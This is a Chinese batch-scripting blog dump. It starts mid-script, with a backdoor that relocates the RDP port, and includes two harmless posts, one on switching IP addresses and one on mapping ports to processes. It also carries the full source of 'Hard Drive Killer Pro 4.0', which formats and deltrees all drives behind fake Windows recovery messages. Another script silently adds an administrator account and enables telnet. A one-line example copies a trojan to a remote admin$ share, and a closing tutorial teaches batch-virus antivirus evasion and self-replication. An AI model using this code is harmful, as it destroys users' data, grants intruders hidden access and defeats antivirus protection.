    @echo "Start"=dword:00000004 >>patch.dll
    @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
    @REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]
    3、Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    @echo off
    rem This program is dedecated to a very special person that does not want to be named.
    :start
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .
    call attrib -r -h c:autoexec.bat >nul
    echo @echo off >c:autoexec.bat
    echo call format c: /q /u /autotest >nul >>c:autoexec.bat
    call attrib +r +h c:autoexec.bat >nul
    rem Drive checking and assigning the valid drives to the drive variable.
    set drive=
    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
    rem code insertion for Drive Checking takes place here.
    rem drivechk.bat is the file name under the root directory.
    rem As far as the drive detection and drive variable settings, don't worry about how it
    rem works, it's d*amn to complicated for the average or even the expert batch programmer.
    rem Except for Tom Lavedas.
    echo @echo off >drivechk.bat
    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 goto enddc >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .
    rem When errorlevel is 1, then the above is not true, if 0, then it's true.
    rem Opposite of binary rules. If 0, it will elaps to the next command.
    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 goto enddc >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .
    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
    rem if errorlevel is 0, then it will elaps to the next command.
    echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .
    rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
    rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
    echo :enddc >>drivechk.bat
    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
    rem Now we will use the program drivechk.bat to attain valid drive information.
    :testdrv
    for %%a in (%alldrive%) do call drivechk.bat %%a >nul
    del drivechk.bat >nul
    if %drive.==. set drive=c
    :form_del
    call attrib -r -h c:autoexec.bat >nul
    echo @echo off >c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . >>c:autoexec.bat
    echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
    echo cd >>c:autoexec.bat
    echo cls >>c:autoexec.bat
    echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
    echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
    echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
    echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat
    echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat
    echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat
    echo echo. >>c:autoexec.bat
    echo echo Regards, >>c:autoexec.bat
    echo echo. >>c:autoexec.bat
    echo echo Munga Bunga >>c:autoexec.bat
    call attrib +r +h c:autoexec.bat
    :makedir
    if exist c:temp.bat attrib -r -h c:temp.bat >nul
    echo @echo off >c:temp.bat
    echo %%1: >>c:temp.bat
    echo cd >>c:temp.bat
    echo :startmd >>c:temp.bat
    echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
    echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
    echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat
    call attrib +r +h c:temp.bat >nul
    cls
    echo Initializing Variables . . .
    rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
    for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
    cls
    echo Initializing Variables . . .
    echo Validating Data . . .
    for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
    cls
    echo Initializing Variables . . .
    echo Validating Data . . .
    echo Analyzing System Structure . . .
    for %%a in (%drive%) call attrib -r -h %%a: /S >nul
    call attrib +r +h c:temp.bat >nul
    call attrib +r +h c:autoexec.bat >nul
    cls
    echo Initializing Variables . . .
    echo Validating Data . . .
    echo Analyzing System Structure . . .
    echo Initializing Application . . .
    for %%a in (%drive%) call deltree /y %%a:*. >nul
    cls
    echo Initializing Variables . . .
    echo Validating Data . . .
    echo Analyzing System Structure . . .
    echo Initializing Application . . .
    echo Starting Application . . .
    for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
    cls
    echo Thank you for using a Munga Bunga product.
    echo.
    echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
    echo.
    echo Here is a joke for you . . .
    echo.
    echo Q). What's the worst thing about being an egg?
    echo A). You only get laid once.
    echo.
    echo HAHAHAHA, get it? Don't you just love that one?
    echo.
    echo Regards,
    echo.
    echo Munga Bunga
    :end
    rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
    rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    4、灰色轨迹论坛发现的一个批处理后门（教学意义比实际意义大^_^）
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    @echo off
    @if "%1" =="" goto user
    @IF NOT EXIST %systemroot%winhm.bat goto nobat
    @attrib -h -S -r %systemroot%winhm.bat
    :nobat
    @cd %systemroot%system32
    @echo @echo off >%systemroot%winhm.bat
    @echo @echo 5 ^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 3 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 7 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo y ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 0 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo y ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 8 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo y ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 1211 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo y ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 0 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 4 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @echo 0 ^>^>%systemroot%system32gnm.txt >>winhm.bat
    @echo @cd %systemroot%system32 >>winhm.bat
    @echo @tlntadmn^nul >>winhm.bat
    @echo @del gnm.txt >>winhm.bat
    @echo exit >>winhm.bat
    @attrib +h +r +S %systemroot%winhm.bat
    @IF NOT EXIST %systemroot%system32gnm.vbs goto novbs
    @attrib -h -S -r %systemroot%system32gnm.vbs
    :novbs
    @echo set wshshell=createobject ("wscript.shell") >%systemroot%system32gnm.vbs
    @echo a=wshshell.run ("cmd.exe /c net user %1 %2 /add",0) >>%systemroot%system32gnm.vbs
    @echo b=wshshell.run ("cmd.exe /c net user %1 /active:y",0) >>%systemroot%system32gnm.vbs
    @echo c=wshshell.run ("cmd.exe /c net localgroup administrators %1 /add",0) >>%systemroot%system32gnm.vbs
    @echo c=wshshell.run ("cmd.exe /c start %systemroot%winhm.bat",0) >>%systemroot%system32gnm.vbs
    @attrib +h +r +S %systemroot%system32gnm.vbs
    @start %systemroot%system32gnm.vbs
    @echo windows Registry Editor Version 5.00 >patch.dll
    @echo [hkey_local_machinesystemcurrentcontrolsetserviceslanman
    serverparameters] >>patch.dll
    @echo "autoshareserver"=dword:00000000 >>patch.dll
    @echo "autosharewks"=dword:00000000 >>patch.dll
    @echo [hkey_local_machinesystemcurrentcontrolsetcontrollsa] >>patch.dll
    @echo "restrictanonymous"=dword:00000001 >>patch.dll
    @echo [hkey_local_machinesystemcurrentcontrolsetservicesnetbt
    parameters] >>patch.dll

巧用批处理快速切换IP地址

hy58 — Sat, 06 Jun 2015 09:24:31 +0800

如果你的计算机同时连接着外网和内网，那么，你肯定会遇到需要经常切换动态IP地址和静态IP地址的烦恼。笔者就是这种情况，计算机通过ADSL连接外网，用的是自动分配IP地址的方式，同时也连接到内网，用的是固定IP地址，因此，经常需要在“本地连接”属性窗口中修改IP地址。每次都要通过“网上邻居→属性→本地连接→Internet协议→TCP/IP→属性”选择，然后点选所需要的IP地址格式，十分繁琐。那么，有没有更为简单的方法呢？经认真摸索，还真找到了便捷的方法，一起来看实现过程：
    　1. 创建切换由静态IP地址到动态IP地址的批处理文件
    　　打开记事本，录入以下内容：
    　　Echo off
    　　Netsh interface IP Set Address "本地连接" DHCP
    　　Echo 已将IP地址由静态切换成动态，按任一键后，就可以使用外网了……
    　　Pause
    　　录入完毕，经检查无误后，另存为“GoDHCPIP.bat”。文件名任取，好记就行，扩展名必须是“bat”。
    　　小提示：批处理文件中的“本地连接”是系统的默认网络连接名称，如果你曾经卸载并重装过网卡，那么这里有可能变成“本地连接２”、“本地连接３”等。批处理文件中的“本地连接”字样必须与桌面“网上邻居→属性”窗口中的网络连接图标名称相一致。另外，还要注意在“本地连接”和后面的数字之间有一个空格。
    　　2. 创建切换动态IP到静态IP的批处理文件
    　　打开记事本，录入以下内容：
    　　Echo off
    　　Netsh interface IP Set Address "本地连接" Static 192.168.xxx.xxx 255.255.255.0
    　　Echo 已将IP地址由动态切换成静态：192.168.xxx.xxx，按任一键后，就可以使用内网了……
    　　Pause
    　　录入完毕，经检查无误后，另存为“GoStaticIP.bat”。
    　　小提示：批处理文件文件中的“本地连接”含义同上；“192.168.xxx.xxx”是你欲切换到的静态IP地址，请用你实际的IP地址替换。“255.255.255.0”是子网掩码。
    　　3. 使用
    　　当需要使用外网时，只需双击“GoDHCPIP.bat”批处理文件，按任一键后，就可以将IP地址由静态切换到动态，并且无需重新启动计算机，就可以开始使用外网了。
    　　当需要使用内网时，只需双击“GoStaticIP.bat”批处理文件，根据提示，按任一键后，就可以将IP地址由动态切换到静态固定IP地址了，并且无需重新启动计算机，就可以开始使用内网了。
    　　小提示：该方法适用于Windows 2000/XP/2003。另外，在Windows XP/2003操作系统中，通过“网上邻居”属性手动更改IP地址无需重启计算机，但在windows 2000操作系统中，要使手动更改的IP生效，则必须重启计算机。而使用该方法则无需重启计算机，方便快捷。

巧用批处理实现windows xpwindows2003进程和端口关联

hy58 — Sat, 06 Jun 2015 09:24:00 +0800

闲来无事的时候随手写了个,把它放在%SYSTEM%目录下,可省不少心-_-
    @REM =====================
    @REM = Write phanrider =
    @REM = 2005.1.12 =
    @REM =====================
    @ECHO OFF
    set zhl_file=task_1$.txt
    set zhl_temp_file=Temp1$.zhl
    set zhl_file2=task_2$.txt
    set zhl_temp_file2=Temp2$.zhl
    set temp_1=lmj_zhl$.txt
    set temp_2=lmj_zhl2$.txt
    set zhl_1=%1
    set zhl_2=2
    :BEGIN
    if "%zhl_1%"=="" goto :HELP
    if %zhl_1%==0 @echo 端口号不能为零！&& goto :END
    if exist %zhl_file% erase %zhl_file%
    if exist %zhl_temp_file% erase %zhl_temp_file%
    echo 正在处理网络端口...
    netstat -ano | find ":" >%zhl_file% 2>nul
    for /f "eol=U tokens=1,2,3,4,5*" %%a in (%zhl_file%) do @echo %%a %%b$ %%c %%d #""%%e""# >> %zhl_temp_file% 2>nul
    for /f "eol=T tokens=1,2,3,4*" %%a in (%zhl_file%) do @echo %%a %%b %%c * #""%%d""# >> %zhl_temp_file% 2>nul
    if exist %zhl_file2% erase %zhl_file2%
    if exist %zhl_temp_file2% erase %zhl_temp_file2%
    echo 正在读取进程映像......
    tasklist /FO CSV >%zhl_file2% 2>nul
    echo 正在初始化映像和端口......
    for /f "skip=2 tokens=1,2,3,4,5* delims=," %%a in (%zhl_file2%) do @echo %%a,#%%b#,%%c,%%d,%%e >> %zhl_temp_file2% 2>nul
    echo 正在查找进程和端口对应关系......
    if exist %temp_1% erase %temp_1%
    type %zhl_temp_file% | find ":%zhl_1%$" >> %temp_1% 2>nul
    for /f "tokens=4,5*" %%x in (%temp_1%) do @set zhl_2=%%y
    if "%zhl_2%"=="2" echo 没有任何进程使用%zhl_1%端口 && goto :END
    type %zhl_temp_file2% | find "%zhl_2%" >> %temp_2% 2>nul
    for /f "tokens=1,2* delims=," %%f in (%temp_2%) do @set zhl_3=%%f
    echo 发现进程%zhl_3%使用%zhl_1%端口
    rem if exist Temp1.zhl erase Temp1.zhl
    rem for /f "tokens=2,3*" %%i in (1.txt) do @echo %%j* >> Temp1.zhl
    rem if exist Temp2.zhl erase Temp2.zhl
    rem for /f "tokens=1,2* delims=:" %%j in (Temp1.zhl) do @echo %%k >> Temp2.zhl
    REM echo %zhl_1%
    REM type Temp1.zhl | find "%zhl_1%*" /N
    goto :end
    :HELP
    echo WINXP/WIN2003查看指定端口是哪个进程使用
    echo.
    echo USE: %0 port
    :END
    REM ====================================
    REM 最后的清扫工作
    REM ====================================
    erase %zhl_file% 1>nul 2>&1
    erase %zhl_file2% 1>nul 2>&1
    erase %zhl_temp_file% 1>nul 2>&1
    erase %zhl_temp_file2% 1>nul 2>&1
    erase %temp_1% 1>nul 2>&1
    erase %temp_2% 1>nul 2>&1
    set zhl_file=
    set zhl_temp_file=
    set zhl_file2=
    set zhl_temp_file2=
    set temp_1=
    set zhl_1=
    set zhl_2=

如何使用组合命令(Compound Command)数

hy58 — Sat, 06 Jun 2015 09:23:09 +0800

1、&
    Usage：第一条命令 & 第二条命令 [& 第三条命令...]
    用这种方法可以同时执行多条命令，而不管命令是否执行成功
    Sample：
    C:dir z: & dir c:adam
    The system cannot find the path specified.
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    Directory of c:adam
    2002-05-14 23:51 .
    2002-05-14 23:51 ..
    2002-05-14 23:51 14 sometips.gif
    2、&&
    Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
    用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
    Sample：C:dir z: && dir c:adam
    The system cannot find the path specified.
    C:>dir c:adam && dir z:
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    Directory of c:adam
    2002-05-14 23:55 .
    2002-05-14 23:55 ..
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    2 Dir(s) 768,671,744 bytes free
    The system cannot find the path specified.
    在做备份的时候可能会用到这种命令会比较简单，如：
    dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
    如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了：）
    3、||
    Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
    用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
    Sample：
    C:adam>dir sometips.gif || del sometips.gif
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    Directory of C:adam
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    0 Dir(s) 768,696,320 bytes free
    组合命令使用的例子：
    sample：
    @copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

一些有用的批处理技巧

hy58 — Sat, 06 Jun 2015 09:21:46 +0800

当我在写一个bat蠕虫的时候我发现了一个对bat病毒来说非常有用的技术，比如用在加密或多态性.我也
    发现了一些其他技术，而且这些技术是反ava技术的.好了，让我们开始吧...
    索引
    我敢保证，以下我所说的技术都是你们想知道的，下面是内容的简略部分 :)
    1.加入欺骗代码
    2.让文件夹无法删除
    3.加入EICAR测试文件
    4.代码中的垃圾伪代码
    加入欺骗代码
    这是一个反kav杀毒的技术.或许你知道,kav只检查bat文件的前1000 Byte,那么大家想想,这对我们来说
    意味着什么呢?:)我们可以在bat病毒文件前加入1000 Byte的垃圾代码.下面是一段只在当前文件夹内覆
    盖bat文件的病毒代码,kav称之为'BAT.Silly.d'.
    BAT.Silly.d
    for %%a in (*.bat) do copy %0 %%a
    现在让我们来测试一下新技术.在一个bat文件中包含1000 Btye的垃圾代码不会影响到bat文件的正常运
    行,因为bat文件忽略简单的输入错误,下面的代码中就包含了随机的小写字母.同样也可以包括大写字母
    等其他的一些字符,但是必须要注意的是不能包含'<'或'>'这样的字符,因为这样的话,计算机会认为你要
    输入或输出字符,到计算机终端设备.
    Fake Bytes
    stjrdnfuqlgmpuwefguowyakzxgkxolraxozihswcfngwkpaolmmyfrzmsxbcnvrmwrtnjpwybshmhxjtimvzwjuoakncjwynilyp zciptpriqzrfqkqwgfiqpivuityndlqmlivmdtkjuynjdxzmpjedfjacsqgybiwcamxxxwolzzkprquufavkqfdyuqjcxvpizrakx pdmogwizgfrjhvxrmeewywmknxbqbthypeksxmywlfaijracwftfsflicvgfwqzsnrductwbvvtkkzerzgpcbzkngktcdfybzsnby emlcctvneufmhnvfsutoqnldznssinuqigrxbzyxwfmblnqhxztsokqyldnimzgjsmqwshasowgjrmwldkikgjwuffflhwugwrbqd qhbueiaahtvwmhfrhntudpvscpkiftyiwceboltowopsojwxbuarilavnacqlljixreykldgdqxdckayqztleotrbijiwzpesheyd cweyfyrldgvwkcocrqfqtlxuchxdhkpddokhpvxcihqshgqnpjoeqlxspcncyzlvkywzbtijvuiazhevcorognwzgscmmcappqrzw vmtjkatslrkzxrrwxiawspgfvwwphueigwostqtuwrsabmlsrugeudglkmadpimsdbhsmhzlqtcaqftezwbaqrlkzjnzdhvhrpgbi ajbakariwolazvdwhskrdsyqqcjayyqwusubevwumtwysahdzxtqhausneeistduraaaozircfrxqaidvarbiwibwzbtjajurezzd wvqswebffznuymcvqhitlgknfdlwbzdlxfikprozaaxynlxhtmcflbnptelhpgpymekdijonvhyiswpgprdhxtffzimxrdofzonaz qficniylakfqrazsqqviidufwfuwcialsryemswoekufgliuyybgzdydtqfmqnfqwdxmztbzqultebjbahjcadmibazhxsqljsslv cqqqtsqfndkcwihitiscoqqsphuooymtkolmjdielrslulfpqodcitauueorvbyohxhmwgfwozxkggipmgpkoutzykratrhamqbxj
    for %%a in (*.bat) do copy %0 %%a
    上面的代码看起来是那么的愚蠢:).但是运行的时候kav是不会显示任何警告和提示的.我想你一定非常喜
    欢这项技术.
    让文件夹无法删除
    这项技术看起来比较酷.其实他的原理是利用了windows系统的一个小bug.假如我们在MS-DOS下创建一个
    包含特殊字符的文件夹,那么在windows下将无法确认这个新建的文件夹,随之而来的便是你无法删除,移
    动或者打开他.下面我们列出所有的这些特殊字符的ASCII码.
    Letter List
    ASCII 176: °
    ASCII 177: ±
    ASCII 178: ²
    ASCII 179: ³
    ASCII 180: ′
    ASCII 185: ¹
    ASCII 186: o
    ASCII 187: ?
    ASCII 188: ¼
    ASCII 191: ?
    ASCII 192: à
    ASCII 193: á
    ASCII 194: ?
    ASCII 195: ?
    ASCII 196: ?
    ASCII 197: ?
    ASCII 200: è
    ASCII 201: é
    ASCII 202: ê
    ASCII 203: ?
    ASCII 204: ì
    ASCII 205: í
    ASCII 206: ?
    ASCII 213: ?
    ASCII 217: ù
    ASCII 218: ú
    ASCII 219: ?
    ASCII 220: ü
    ASCII 223: ?
    ASCII 242: ò
    ok,上面就是那些特殊字符的ASCII码了,现在我们在%windir%中制作一个样本文件夹让他无法删除.在windows98的系统中，我们还可以在autoexec.bat中添加语句，让bat文件可以随机启动.
    Letter List example
    cls
    @echo off
    cd %windir%
    md o′üòì
    cd o′üòì
    copy %0 virus.bat
    echo cd %windir% >>autoexec.bat
    echo cd o′üòì >>autoexec.bat
    echo virus.bat >>autoexec.bat
    我敢肯定你一定能看懂上面的代码,在这里要感谢'Trojan.BAT.NoDelDir'的作者.但是我却不知道他的真名叫什么,如果你在这里看到的话,请联系我本人.
    加入EICAR测试文件
    我想每个人都应该知道EICAR病毒测试文件是什么东西,如果不知道也没关系,我将给你解释一下,他是来自EICAR的一个com文件(有兴趣的朋友可以到http://www.eicar.org/anti_virus_test_file.htm去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.那我们应该怎么利用它呢?事实上几乎每个人都知道这个文件,反病毒软件的提示并不会引起人们的注意,利用这点,我们将EICAR测试文件的代码加到我们的病毒程序中,这样的话就不会引起用户的警觉.下面是EICAR测试文件的内容:
    EICAR-content
    [email=X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[code]X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[code[/email]]
    这项技术原理等同于欺骗代码技术.但是他包含了非常有用的内容:EICAR-content.这样的话欺骗代码中包含的同样是被反病毒程序所识别的'病毒'文件,反病毒软件提示的就不是'BAT.Silly.d'而是'EICAR-Test-File',同样是起到了欺骗的作用.
    EICAR-content example
    [code]X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    for %%a in (*.bat) do copy %0 %%a
    代码中的垃圾伪代码
    题目看起来有点郁闷,什么叫'垃圾伪代码'呢?就是写在有效代码中间,但是运行的时候无任何作用的代码.听完上述的讲解你首先会想到什么命令来实现这一功能呢?'set'命令?那么你已经在理解我的意思了,ok,没定义过的变量是空的(=nothing),那么在运行的时候变量也是没有任何用处的.这样我们就解决了我们的问题了:),下面来看看被kav提示为'BAT.Silly.d'的傻瓜式病毒代码.
    %anyting%fo%anyting%r %%a i%anyting%n (%anyting%*.ba%anyting%t) d%anyting%o co%anyting%py %0 %%a
    正如你所看到的,上面的代码非常容易实现.但是却相当有用.注意:你必须保证你所用的变量没有被定义过,否则病毒是不能运行的.如果你不确定变量是否为空的,那你最好在文件开头加上一句'set anthing='将变量清空.
    最后
    开开反病毒软件的玩笑,这项技术真的很有用或加密一些东西或者其他的某些应用.那么反病毒程序真的有大麻烦了.现在我的唯一希望是你们能在你们的工作中真正的用上这项技术(或者其中的一些:D),因为我花了很多时间在发现这项技术,寻找错误和更好的应用它上面.而且检查了其他的系统是否也能够应用这项技术,然后又花了很长时间写了出来,OK, in the end I want to say sorry about my english spelling or grammer mistakes :).